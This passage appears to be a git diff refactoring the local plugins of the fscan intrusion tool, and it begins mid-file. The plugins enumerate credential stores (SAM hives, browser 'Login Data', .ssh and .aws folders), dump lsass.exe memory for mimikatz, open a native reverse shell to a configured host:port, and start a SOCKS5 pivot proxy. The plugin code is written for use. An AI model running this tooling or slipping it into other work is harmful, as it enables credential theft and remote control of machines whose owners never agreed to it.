创建文件信息收集插件 - 简化版本 func NewFileInfoPlugin() *FileInfoPlugin { metadata := &base.PluginMetadata{ Name: "fileinfo", @@ -41,10 +35,8 @@ func NewFileInfoPlugin() *FileInfoPlugin { Protocols: []string{"local"}, } - connector := NewFileInfoConnector() plugin := &FileInfoPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), blacklist: []string{ // 可执行文件和库 ".exe", ".dll", ".so", ".dylib", ".sys", ".msi", ".com", ".scr", @@ -84,6 +76,11 @@ func NewFileInfoPlugin() *FileInfoPlugin { // 设置平台支持 plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 不需要特殊权限 + plugin.SetRequiresPrivileges(false) + + // 初始化敏感文件和搜索目录 + plugin.initSensitiveFiles() return plugin } @@ -93,32 +90,21 @@ func (p *FileInfoPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base return p.ScanLocal(ctx, info) } -// NewFileInfoConnector 创建文件信息连接器 -func NewFileInfoConnector() *FileInfoConnector { - baseConnector, _ := local.NewBaseLocalConnector() - - connector := &FileInfoConnector{ - BaseLocalConnector: baseConnector, - } - - connector.initSensitiveFiles() - - return connector -} - // initSensitiveFiles 初始化敏感文件列表 -func (c *FileInfoConnector) initSensitiveFiles() { +func (p *FileInfoPlugin) initSensitiveFiles() { + homeDir, _ := os.UserHomeDir() + switch runtime.GOOS { case "windows": - c.sensitiveFiles = []string{ + p.sensitiveFiles = []string{ "C:\\boot.ini", - "C:\\windows\\systems32\\inetsrv\\MetaBase.xml", + "C:\\windows\\system32\\inetsrv\\MetaBase.xml", "C:\\windows\\repair\\sam", "C:\\windows\\system32\\config\\sam", } - if homeDir := c.GetCommonDirectories()[0]; homeDir != "" { - c.sensitiveFiles = append(c.sensitiveFiles, []string{ + if homeDir != "" { + p.sensitiveFiles = append(p.sensitiveFiles, []string{ filepath.Join(homeDir, "AppData", "Local", "Google", "Chrome", "User Data", "Default", "Login Data"), filepath.Join(homeDir, "AppData", "Local", "Microsoft", "Edge", "User Data", "Default", "Login Data"), filepath.Join(homeDir, "AppData", "Roaming", "Mozilla", "Firefox", "Profiles"), @@ -126,7 +112,7 @@ func (c *FileInfoConnector) initSensitiveFiles() { } case "linux", "darwin": - c.sensitiveFiles = []string{ + p.sensitiveFiles = []string{ "/etc/apache/httpd.conf", "/etc/httpd/conf/httpd.conf", "/etc/nginx/nginx.conf", @@ -139,31 +125,31 @@ func (c *FileInfoConnector) initSensitiveFiles() { } } - c.searchDirs = c.getOptimizedSearchDirs() + p.searchDirs = p.getOptimizedSearchDirs() } // getOptimizedSearchDirs 获取优化的搜索目录(避免扫描大型系统目录) -func (c *FileInfoConnector) getOptimizedSearchDirs() []string { +func (p *FileInfoPlugin) getOptimizedSearchDirs() []string { var dirs []string + homeDir, _ := os.UserHomeDir() switch runtime.GOOS { case "windows": dirs = []string{ // 用户目录的关键文件夹 - c.GetCommonDirectories()[0], // homeDir - filepath.Join(c.GetCommonDirectories()[0], "Desktop"), - filepath.Join(c.GetCommonDirectories()[0], "Documents"), - filepath.Join(c.GetCommonDirectories()[0], "Downloads"), - filepath.Join(c.GetCommonDirectories()[0], ".ssh"), - filepath.Join(c.GetCommonDirectories()[0], ".aws"), - filepath.Join(c.GetCommonDirectories()[0], ".azure"), - filepath.Join(c.GetCommonDirectories()[0], ".kube"), + homeDir, + filepath.Join(homeDir, "Desktop"), + filepath.Join(homeDir, "Documents"), + filepath.Join(homeDir, "Downloads"), + filepath.Join(homeDir, ".ssh"), + filepath.Join(homeDir, ".aws"), + filepath.Join(homeDir, ".azure"), + filepath.Join(homeDir, ".kube"), // 公共目录的关键部分 "C:\\Users\\Public\\Documents", "C:\\Users\\Public\\Desktop", } case "linux", "darwin": - homeDir := c.GetCommonDirectories()[0] dirs = []string{ homeDir, filepath.Join(homeDir, "Desktop"), @@ -190,25 +176,15 @@ func (c *FileInfoConnector) getOptimizedSearchDirs() []string { return validDirs } -// ScanLocal 执行本地文件扫描 +// ScanLocal 执行本地文件扫描 - 简化版本 func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { - common.LogBase("开始本地敏感文件扫描...") - - // 建立连接 - conn, err := p.connector.Connect(ctx, info) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("连接失败: %v", err), - }, nil - } - defer p.connector.Close(conn) + common.LogInfo("开始本地敏感文件扫描...") foundFiles := make([]string, 0) // 扫描固定位置的敏感文件 common.LogDebug("扫描固定敏感文件位置...") - for _, file := range p.connector.sensitiveFiles { + for _, file := range p.sensitiveFiles { if p.checkFile(file) { foundFiles = append(foundFiles, file) common.LogSuccess(fmt.Sprintf("发现敏感文件: %s", file)) @@ -220,21 +196,29 @@ func (p *FileInfoPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( searchFiles := p.searchSensitiveFiles() foundFiles = append(foundFiles, searchFiles...) + // 获取系统信息 + systemInfo := p.GetSystemInfo() + result := &base.ScanResult{ - Success: len(foundFiles) > 0, + Success: true, Service: "FileInfo", - Banner: fmt.Sprintf("发现 %d 个敏感文件", len(foundFiles)), + Banner: fmt.Sprintf("检测完成: 发现 %d 个敏感文件", len(foundFiles)), Extra: map[string]interface{}{ - "files": foundFiles, - "total_count": len(foundFiles), - "platform": runtime.GOOS, + "files": foundFiles, + "total_count": len(foundFiles), + "platform": runtime.GOOS, + "system_info": systemInfo, + "search_dirs": len(p.searchDirs), }, } if len(foundFiles) > 0 { common.LogSuccess(fmt.Sprintf("本地文件扫描完成,共发现 %d 个敏感文件", len(foundFiles))) + for _, file := range foundFiles { + common.LogSuccess(fmt.Sprintf("发现: %s", file)) + } } else { - common.LogDebug("未发现敏感文件") + common.LogInfo("未发现敏感文件") } return result, nil @@ -283,7 +267,7 @@ func (p *FileInfoPlugin) searchSensitiveFiles() []string { maxFiles := 50 // 限制最多找到的文件数量 maxDepth := 4 // 限制递归深度 - for _, searchPath := range p.connector.searchDirs { + for _, searchPath := range p.searchDirs { if len(foundFiles) >= maxFiles { break } @@ -357,9 +341,9 @@ func (p *FileInfoPlugin) isWhitelisted(filename string) bool { return false } -// 插件注册函数 -func init() { - base.GlobalPluginRegistry.Register("fileinfo", base.NewSimplePluginFactory( +// RegisterFileInfoPlugin 注册文件信息收集插件 +func RegisterFileInfoPlugin() { + factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "fileinfo", Version: "1.0.0", @@ -372,5 +356,25 @@ func init() { func() base.Plugin { return NewFileInfoPlugin() }, - )) + ) + + base.GlobalPluginRegistry.Register("fileinfo", factory) +} + +// GetInfo 获取插件信息 +func (p *FileInfoPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("本地敏感文件扫描插件\n") + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString(fmt.Sprintf("扫描目录: %d 个\n", len(p.searchDirs))) + info.WriteString(fmt.Sprintf("固定文件: %d 个\n", len(p.sensitiveFiles))) + info.WriteString("功能: 扫描系统敏感文件和配置信息\n") + + return info.String() +} + +// 插件注册函数 +func init() { + RegisterFileInfoPlugin() } \ No newline at end of file diff --git a/Plugins/local/interfaces.go b/Plugins/local/interfaces.go index 2dd1925..98340ee 100644 --- a/Plugins/local/interfaces.go +++ b/Plugins/local/interfaces.go @@ -6,49 +6,21 @@ import ( "github.com/shadow1ng/fscan/plugins/base" ) -// LocalConnector 本地信息收集连接器接口 -type LocalConnector interface { - // Connect 建立本地连接(实际上是初始化本地环境) - Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) - - // Close 关闭连接和清理资源 - Close(conn interface{}) error - - // GetSystemInfo 获取系统信息 - GetSystemInfo(conn interface{}) (map[string]string, error) -} - -// LocalScanner 本地扫描器接口 -type LocalScanner interface { - base.Scanner - - // ScanLocal 执行本地扫描 - ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) - - // GetLocalData 获取本地数据 - GetLocalData(ctx context.Context) (map[string]interface{}, error) -} - -// LocalExploiter 本地信息提取器接口 -type LocalExploiter interface { - base.Exploiter - - // ExtractData 提取本地数据 - ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) -} - -// LocalPlugin 本地插件接口 +// LocalPlugin 本地插件接口 - 简化设计,专注于信息收集和扫描 type LocalPlugin interface { base.Plugin - LocalScanner - LocalExploiter - // GetLocalConnector 获取本地连接器 - GetLocalConnector() LocalConnector + // ScanLocal 执行本地扫描 - 核心功能 + ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) // GetPlatformSupport 获取支持的平台 GetPlatformSupport() []string // RequiresPrivileges 是否需要特殊权限 RequiresPrivileges() bool -} \ No newline at end of file +} + +// 移除不必要的接口: +// - LocalConnector: 本地插件不需要"连接"概念 +// - LocalScanner: 功能合并到LocalPlugin中 +// - LocalExploiter: 本地插件不需要攻击利用功能 \ No newline at end of file diff --git a/Plugins/local/minidump/plugin.go b/Plugins/local/minidump/plugin.go index 8501698..00cefb4 100644 --- a/Plugins/local/minidump/plugin.go +++ b/Plugins/local/minidump/plugin.go @@ -12,6 +12,7 @@ import ( "golang.org/x/sys/windows" "os" "path/filepath" + "strings" "syscall" "time" "unsafe" @@ -53,15 +54,9 @@ type TOKEN_PRIVILEGES struct { Privileges [1]LUID_AND_ATTRIBUTES } -// MiniDumpPlugin 内存转储插件 +// MiniDumpPlugin 内存转储插件 - 使用简化架构 type MiniDumpPlugin struct { *local.BaseLocalPlugin - connector *MiniDumpConnector -} - -// MiniDumpConnector 内存转储连接器 -type MiniDumpConnector struct { - *local.BaseLocalConnector kernel32 *syscall.DLL dbghelp *syscall.DLL advapi32 *syscall.DLL @@ -74,7 +69,7 @@ type ProcessManager struct { advapi32 *syscall.DLL } -// NewMiniDumpPlugin 创建内存转储插件 +// NewMiniDumpPlugin 创建内存转储插件 - 简化版本 func NewMiniDumpPlugin() *MiniDumpPlugin { metadata := &base.PluginMetadata{ Name: "minidump", @@ -86,10 +81,8 @@ func NewMiniDumpPlugin() *MiniDumpPlugin { Protocols: []string{"local"}, } - connector := NewMiniDumpConnector() plugin := &MiniDumpPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), } // 仅支持Windows平台 @@ -105,62 +98,52 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base return p.ScanLocal(ctx, info) } -// NewMiniDumpConnector 创建内存转储连接器 -func NewMiniDumpConnector() *MiniDumpConnector { - baseConnector, _ := local.NewBaseLocalConnector() - - return &MiniDumpConnector{ - BaseLocalConnector: baseConnector, +// Initialize 初始化插件 +func (p *MiniDumpPlugin) Initialize() error { + // 先调用基类初始化 + if err := p.BaseLocalPlugin.Initialize(); err != nil { + return err } + + // 加载系统DLL + return p.loadSystemDLLs() } -// Connect 建立内存转储连接 -func (c *MiniDumpConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 先建立基础本地连接 - localConn, err := c.BaseLocalConnector.Connect(ctx, info) - if err != nil { - common.LogError(fmt.Sprintf("建立基础连接失败: %v", err)) - return nil, err - } - +// loadSystemDLLs 加载系统DLL +func (p *MiniDumpPlugin) loadSystemDLLs() error { common.LogDebug("开始加载系统DLL...") // 加载系统DLL - 添加错误处理 kernel32, err := syscall.LoadDLL("kernel32.dll") if err != nil { common.LogError(fmt.Sprintf("加载 kernel32.dll 失败: %v", err)) - return nil, fmt.Errorf("加载 kernel32.dll 失败: %v", err) + return fmt.Errorf("加载 kernel32.dll 失败: %v", err) } common.LogDebug("kernel32.dll 加载成功") dbghelp, err := syscall.LoadDLL("Dbghelp.dll") if err != nil { common.LogError(fmt.Sprintf("加载 Dbghelp.dll 失败: %v", err)) - return nil, fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) + return fmt.Errorf("加载 Dbghelp.dll 失败: %v", err) } common.LogDebug("Dbghelp.dll 加载成功") advapi32, err := syscall.LoadDLL("advapi32.dll") if err != nil { common.LogError(fmt.Sprintf("加载 advapi32.dll 失败: %v", err)) - return nil, fmt.Errorf("加载 advapi32.dll 失败: %v", err) + return fmt.Errorf("加载 advapi32.dll 失败: %v", err) } common.LogDebug("advapi32.dll 加载成功") - c.kernel32 = kernel32 - c.dbghelp = dbghelp - c.advapi32 = advapi32 + p.kernel32 = kernel32 + p.dbghelp = dbghelp + p.advapi32 = advapi32 common.LogSuccess("所有DLL加载完成") - return localConn, nil + return nil } -// Close 关闭连接 -func (c *MiniDumpConnector) Close(conn interface{}) error { - return c.BaseLocalConnector.Close(conn) -} - -// ScanLocal 执行内存转储扫描 +// ScanLocal 执行内存转储扫描 - 简化版本 func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { defer func() { if r := recover(); r != nil { @@ -168,7 +151,7 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( } }() - common.LogBase("开始进程内存转储...") + common.LogInfo("开始进程内存转储...") // 检查管理员权限 if !p.isAdmin() { @@ -181,25 +164,12 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( common.LogSuccess("已确认具有管理员权限") - // 建立连接 - common.LogDebug("正在建立连接...") - conn, err := p.connector.Connect(ctx, info) - if err != nil { - common.LogError(fmt.Sprintf("连接失败: %v", err)) - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("连接失败: %v", err), - }, nil - } - defer p.connector.Close(conn) - common.LogSuccess("连接建立成功") - // 创建进程管理器 common.LogDebug("正在创建进程管理器...") pm := &ProcessManager{ - kernel32: p.connector.kernel32, - dbghelp: p.connector.dbghelp, - advapi32: p.connector.advapi32, + kernel32: p.kernel32, + dbghelp: p.dbghelp, + advapi32: p.advapi32, } common.LogSuccess("进程管理器创建成功") @@ -261,15 +231,19 @@ func (p *MiniDumpPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) ( fileSize = fileInfo.Size() } + // 获取系统信息 + systemInfo := p.GetSystemInfo() + result := &base.ScanResult{ Success: true, Service: "MiniDump", - Banner: fmt.Sprintf("lsass.exe 内存转储完成 (PID: %d)", pid), + Banner: fmt.Sprintf("检测完成: lsass.exe 内存转储完成 (PID: %d)", pid), Extra: map[string]interface{}{ "process_name": "lsass.exe", "process_id": pid, "dump_file": outputPath, "file_size": fileSize, + "system_info": systemInfo, }, } @@ -607,9 +581,9 @@ func (pm *ProcessManager) closeHandle(handle uintptr) { } -// 插件注册函数 -func init() { - base.GlobalPluginRegistry.Register("minidump", base.NewSimplePluginFactory( +// RegisterMiniDumpPlugin 注册内存转储插件 +func RegisterMiniDumpPlugin() { + factory := base.NewSimplePluginFactory( &base.PluginMetadata{ Name: "minidump", Version: "1.0.0", @@ -622,5 +596,24 @@ func init() { func() base.Plugin { return NewMiniDumpPlugin() }, - )) + ) + + base.GlobalPluginRegistry.Register("minidump", factory) +} + +// GetInfo 获取插件信息 +func (p *MiniDumpPlugin) GetInfo() string { + var info strings.Builder + + info.WriteString("Windows进程内存转储插件\n") + info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能: 转储lsass.exe进程内存用于mimikatz分析\n") + info.WriteString("要求: 需要管理员权限\n") + + return info.String() +} + +// 插件注册函数 +func init() { + RegisterMiniDumpPlugin() } \ No newline at end of file diff --git a/Plugins/local/plugin.go b/Plugins/local/plugin.go index e79dcc7..a1cc036 100644 --- a/Plugins/local/plugin.go +++ b/Plugins/local/plugin.go @@ -4,27 +4,27 @@ import ( "context" "errors" "fmt" + "os" + "os/user" "runtime" "github.com/shadow1ng/fscan/common" "github.com/shadow1ng/fscan/plugins/base" ) -// BaseLocalPlugin 本地插件基础实现 +// BaseLocalPlugin 本地插件基础实现 - 简化架构 type BaseLocalPlugin struct { *base.BasePlugin - connector LocalConnector - platforms []string + platforms []string requiresPrivileges bool } // NewBaseLocalPlugin 创建基础本地插件 -func NewBaseLocalPlugin(metadata *base.PluginMetadata, connector LocalConnector) *BaseLocalPlugin { +func NewBaseLocalPlugin(metadata *base.PluginMetadata) *BaseLocalPlugin { basePlugin := base.NewBasePlugin(metadata) return &BaseLocalPlugin{ - BasePlugin: basePlugin, - connector: connector, - platforms: []string{"windows", "linux", "darwin"}, + BasePlugin: basePlugin, + platforms: []string{"windows", "linux", "darwin"}, // 默认支持所有平台 requiresPrivileges: false, } } @@ -60,37 +60,36 @@ func (p *BaseLocalPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) }, nil } -// Exploit 执行利用 -func (p *BaseLocalPlugin) Exploit(ctx context.Context, info *common.HostInfo, creds *base.Credential) (*base.ExploitResult, error) { - // 获取本地数据 - data, err := p.GetLocalData(ctx) - if err != nil { - return &base.ExploitResult{ - Success: false, - Error: fmt.Errorf("获取本地数据失败: %v", err), - }, nil +// GetSystemInfo 获取系统信息 - 实用工具方法 +func (p *BaseLocalPlugin) GetSystemInfo() map[string]string { + systemInfo := make(map[string]string) + + systemInfo["os"] = runtime.GOOS + systemInfo["arch"] = runtime.GOARCH + + if homeDir, err := os.UserHomeDir(); err == nil { + systemInfo["home_dir"] = homeDir } - return p.ExtractData(ctx, info, data) + if workDir, err := os.Getwd(); err == nil { + systemInfo["working_dir"] = workDir + } + + systemInfo["temp_dir"] = os.TempDir() + + // 获取用户名 + if currentUser, err := user.Current(); err == nil { + systemInfo["username"] = currentUser.Username + } + + // 获取主机名 + if hostname, err := os.Hostname(); err == nil { + systemInfo["hostname"] = hostname + } + + return systemInfo } -// GetLocalData 默认获取本地数据实现(子类应重写) -func (p *BaseLocalPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) { - return nil, fmt.Errorf("GetLocalData方法需要在子类中实现") -} - -// ExtractData 默认数据提取实现(子类应重写) -func (p *BaseLocalPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) { - return &base.ExploitResult{ - Success: false, - Error: errors.New("ExtractData方法需要在子类中实现"), - }, nil -} - -// GetLocalConnector 获取本地连接器 -func (p *BaseLocalPlugin) GetLocalConnector() LocalConnector { - return p.connector -} // GetPlatformSupport 获取支持的平台 func (p *BaseLocalPlugin) GetPlatformSupport() []string { @@ -142,14 +141,25 @@ func (p *BaseLocalPlugin) hasRequiredPrivileges() bool { } } -// 平台特定的权限检查函数 +// 平台特定的权限检查函数 - 实际实现 func isWindowsAdmin() bool { - // 这里可以调用Windows API检查管理员权限 - // 简化实现,实际应该使用Windows API - return false + // Windows管理员权限检查:尝试写入系统目录 + testPath := `C:\Windows\Temp\fscan_admin_test` + file, err := os.Create(testPath) + if err != nil { + // 无法创建文件,可能没有管理员权限 + return false + } + file.Close() + os.Remove(testPath) + return true } func isUnixRoot() bool { - // 检查是否为root用户 - return false + // Unix/Linux root用户检查 + currentUser, err := user.Current() + if err != nil { + return false + } + return currentUser.Uid == "0" } \ No newline at end of file diff --git a/Plugins/local/reverseshell/plugin.go b/Plugins/local/reverseshell/plugin.go index aeab707..ff0c8af 100644 --- a/Plugins/local/reverseshell/plugin.go +++ b/Plugins/local/reverseshell/plugin.go @@ -17,29 +17,15 @@ import ( "github.com/shadow1ng/fscan/plugins/local" ) -// ReverseShellPlugin 反弹Shell插件 +// ReverseShellPlugin 反弹Shell插件 - 使用简化架构 type ReverseShellPlugin struct { *local.BaseLocalPlugin - connector *ReverseShellConnector - target string // 目标地址:端口 + target string // 目标地址:端口 + host string + port int } -// ReverseShellConnector 反弹Shell连接器 -type ReverseShellConnector struct { - *local.BaseLocalConnector - host string - port int -} - -// ReverseShellConnection 反弹Shell连接对象 -type ReverseShellConnection struct { - *local.LocalConnection - Target string - Host string - Port int -} - -// NewReverseShellPlugin 创建反弹Shell插件 +// NewReverseShellPlugin 创建反弹Shell插件 - 简化版本 func NewReverseShellPlugin() *ReverseShellPlugin { // 从全局参数获取反弹Shell目标 target := common.ReverseShellTarget @@ -58,25 +44,7 @@ func NewReverseShellPlugin() *ReverseShellPlugin { Protocols: []string{"local"}, } - connector := NewReverseShellConnector(target) - plugin := &ReverseShellPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, - target: target, - } - - // 设置支持的平台 - plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) - // 不需要特殊权限 - plugin.SetRequiresPrivileges(false) - - return plugin -} - -// NewReverseShellConnector 创建反弹Shell连接器 -func NewReverseShellConnector(target string) *ReverseShellConnector { - baseConnector, _ := local.NewBaseLocalConnector() - + // 解析目标地址 host, portStr, err := net.SplitHostPort(target) if err != nil { host = target @@ -88,39 +56,25 @@ func NewReverseShellConnector(target string) *ReverseShellConnector { port = 4444 // 默认端口 } - return &ReverseShellConnector{ - BaseLocalConnector: baseConnector, - host: host, - port: port, + plugin := &ReverseShellPlugin{ + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), + target: target, + host: host, + port: port, } + + // 设置支持的平台 + plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) + // 不需要特殊权限 + plugin.SetRequiresPrivileges(false) + + return plugin } -// Connect 建立反弹Shell连接 -func (c *ReverseShellConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 先建立基础本地连接 - localConn, err := c.BaseLocalConnector.Connect(ctx, info) - if err != nil { - return nil, err - } - - baseConn := localConn.(*local.LocalConnection) - - // 跳过连通性测试,避免抢占反弹shell连接通道 - // 反弹shell会在实际使用时进行连接,这里不需要预先测试 - - reverseShellConn := &ReverseShellConnection{ - LocalConnection: baseConn, - Target: fmt.Sprintf("%s:%d", c.host, c.port), - Host: c.host, - Port: c.port, - } - - return reverseShellConn, nil -} - -// Close 关闭反弹Shell连接 -func (c *ReverseShellConnector) Close(conn interface{}) error { - return c.BaseLocalConnector.Close(conn) +// Initialize 初始化插件 +func (p *ReverseShellPlugin) Initialize() error { + // 调用基类初始化 + return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 @@ -128,27 +82,15 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (* return p.ScanLocal(ctx, info) } -// ScanLocal 执行反弹Shell扫描 - 纯Go原生实现 +// ScanLocal 执行反弹Shell扫描 - 简化版本 func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { common.LogBase("启动Go原生反弹Shell...") - // 建立连接 - conn, err := p.connector.Connect(ctx, info) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("连接失败: %v", err), - }, nil - } - defer p.connector.Close(conn) - - reverseShellConn := conn.(*ReverseShellConnection) - // 启动反弹shell - common.LogBase(fmt.Sprintf("连接到目标 %s", reverseShellConn.Target)) + common.LogBase(fmt.Sprintf("连接到目标 %s", p.target)) // 直接在当前goroutine中运行,这样可以确保在设置ReverseShellActive后立即被主程序检测到 - err = p.startNativeReverseShell(ctx, reverseShellConn.Host, reverseShellConn.Port) + err := p.startNativeReverseShell(ctx, p.host, p.port) if err != nil { common.LogError(fmt.Sprintf("Go原生反弹Shell错误: %v", err)) return &base.ScanResult{ @@ -160,9 +102,9 @@ func (p *ReverseShellPlugin) ScanLocal(ctx context.Context, info *common.HostInf result := &base.ScanResult{ Success: true, Service: "ReverseShell", - Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", reverseShellConn.Target, runtime.GOOS), + Banner: fmt.Sprintf("Go原生反弹Shell已完成 - 目标: %s 平台: %s", p.target, runtime.GOOS), Extra: map[string]interface{}{ - "target": reverseShellConn.Target, + "target": p.target, "platform": runtime.GOOS, "implementation": "go_native", "status": "completed", @@ -299,8 +241,10 @@ func (p *ReverseShellPlugin) GetLocalData(ctx context.Context) (map[string]inter func (p *ReverseShellPlugin) GetInfo() string { var info strings.Builder - info.WriteString(fmt.Sprintf("Go原生反弹Shell插件 - 目标: %s\n", p.target)) + info.WriteString("Go原生反弹Shell插件\n") + info.WriteString(fmt.Sprintf("目标: %s\n", p.target)) info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能: 建立反弹Shell连接,支持交互式命令执行\n") info.WriteString("实现方式: 纯Go原生,无外部依赖\n") return info.String() diff --git a/Plugins/local/socks5proxy/plugin.go b/Plugins/local/socks5proxy/plugin.go index 9735c48..80b1362 100644 --- a/Plugins/local/socks5proxy/plugin.go +++ b/Plugins/local/socks5proxy/plugin.go @@ -15,27 +15,14 @@ import ( "github.com/shadow1ng/fscan/plugins/local" ) -// Socks5ProxyPlugin SOCKS5代理插件 +// Socks5ProxyPlugin SOCKS5代理插件 - 使用简化架构 type Socks5ProxyPlugin struct { *local.BaseLocalPlugin - connector *Socks5ProxyConnector - port int - listener net.Listener + port int + listener net.Listener } -// Socks5ProxyConnector SOCKS5代理连接器 -type Socks5ProxyConnector struct { - *local.BaseLocalConnector - port int -} - -// Socks5ProxyConnection SOCKS5代理连接对象 -type Socks5ProxyConnection struct { - *local.LocalConnection - Port int -} - -// NewSocks5ProxyPlugin 创建SOCKS5代理插件 +// NewSocks5ProxyPlugin 创建SOCKS5代理插件 - 简化版本 func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { // 从全局参数获取SOCKS5端口 port := common.Socks5ProxyPort @@ -53,14 +40,12 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { Protocols: []string{"local"}, } - connector := NewSocks5ProxyConnector(port) plugin := &Socks5ProxyPlugin{ - BaseLocalPlugin: local.NewBaseLocalPlugin(metadata, connector), - connector: connector, + BaseLocalPlugin: local.NewBaseLocalPlugin(metadata), port: port, } - // 设置支持的平台 + // 设置支持的平台(支持Windows、Linux和macOS) plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"}) // 不需要特殊权限 plugin.SetRequiresPrivileges(false) @@ -68,44 +53,10 @@ func NewSocks5ProxyPlugin() *Socks5ProxyPlugin { return plugin } -// NewSocks5ProxyConnector 创建SOCKS5代理连接器 -func NewSocks5ProxyConnector(port int) *Socks5ProxyConnector { - baseConnector, _ := local.NewBaseLocalConnector() - - return &Socks5ProxyConnector{ - BaseLocalConnector: baseConnector, - port: port, - } -} - -// Connect 建立SOCKS5代理连接 -func (c *Socks5ProxyConnector) Connect(ctx context.Context, info *common.HostInfo) (interface{}, error) { - // 先建立基础本地连接 - localConn, err := c.BaseLocalConnector.Connect(ctx, info) - if err != nil { - return nil, err - } - - baseConn := localConn.(*local.LocalConnection) - - // 检查端口是否可用 - testListener, err := net.Listen("tcp", fmt.Sprintf("127.0.0.1:%d", c.port)) - if err != nil { - return nil, fmt.Errorf("端口 %d 不可用: %v", c.port, err) - } - testListener.Close() // 立即关闭测试监听器 - - socks5Conn := &Socks5ProxyConnection{ - LocalConnection: baseConn, - Port: c.port, - } - - return socks5Conn, nil -} - -// Close 关闭SOCKS5代理连接 -func (c *Socks5ProxyConnector) Close(conn interface{}) error { - return c.BaseLocalConnector.Close(conn) +// Initialize 初始化插件 +func (p *Socks5ProxyPlugin) Initialize() error { + // 调用基类初始化 + return p.BaseLocalPlugin.Initialize() } // Scan 重写扫描方法以确保调用正确的ScanLocal实现 @@ -113,27 +64,15 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo) (*b return p.ScanLocal(ctx, info) } -// ScanLocal 执行SOCKS5代理扫描 - 启动代理服务器 +// ScanLocal 执行SOCKS5代理扫描 - 简化版本 func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) { common.LogBase("启动SOCKS5代理服务器...") - // 建立连接 - conn, err := p.connector.Connect(ctx, info) - if err != nil { - return &base.ScanResult{ - Success: false, - Error: fmt.Errorf("连接失败: %v", err), - }, nil - } - defer p.connector.Close(conn) - - socks5Conn := conn.(*Socks5ProxyConnection) - // 启动SOCKS5代理服务器 - common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", socks5Conn.Port)) + common.LogBase(fmt.Sprintf("在端口 %d 上启动SOCKS5代理", p.port)) // 直接在当前goroutine中运行,这样可以确保在设置Socks5ProxyActive后立即被主程序检测到 - err = p.startSocks5Server(ctx, socks5Conn.Port) + err := p.startSocks5Server(ctx, p.port) if err != nil { common.LogError(fmt.Sprintf("SOCKS5代理服务器错误: %v", err)) return &base.ScanResult{ @@ -145,9 +84,9 @@ func (p *Socks5ProxyPlugin) ScanLocal(ctx context.Context, info *common.HostInfo result := &base.ScanResult{ Success: true, Service: "SOCKS5Proxy", - Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", socks5Conn.Port, runtime.GOOS), + Banner: fmt.Sprintf("SOCKS5代理已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS), Extra: map[string]interface{}{ - "port": socks5Conn.Port, + "port": p.port, "platform": runtime.GOOS, "protocol": "socks5", "status": "completed", @@ -402,8 +341,10 @@ func (p *Socks5ProxyPlugin) ExtractData(ctx context.Context, info *common.HostIn func (p *Socks5ProxyPlugin) GetInfo() string { var info strings.Builder - info.WriteString(fmt.Sprintf("SOCKS5代理插件 - 端口: %d\n", p.port)) + info.WriteString("SOCKS5代理服务器插件\n") + info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port)) info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", "))) + info.WriteString("功能: 提供本地SOCKS5代理服务,支持TCP连接转发\n") info.WriteString("协议: SOCKS5,支持HTTP/HTTPS代理\n") info.WriteString("实现方式: 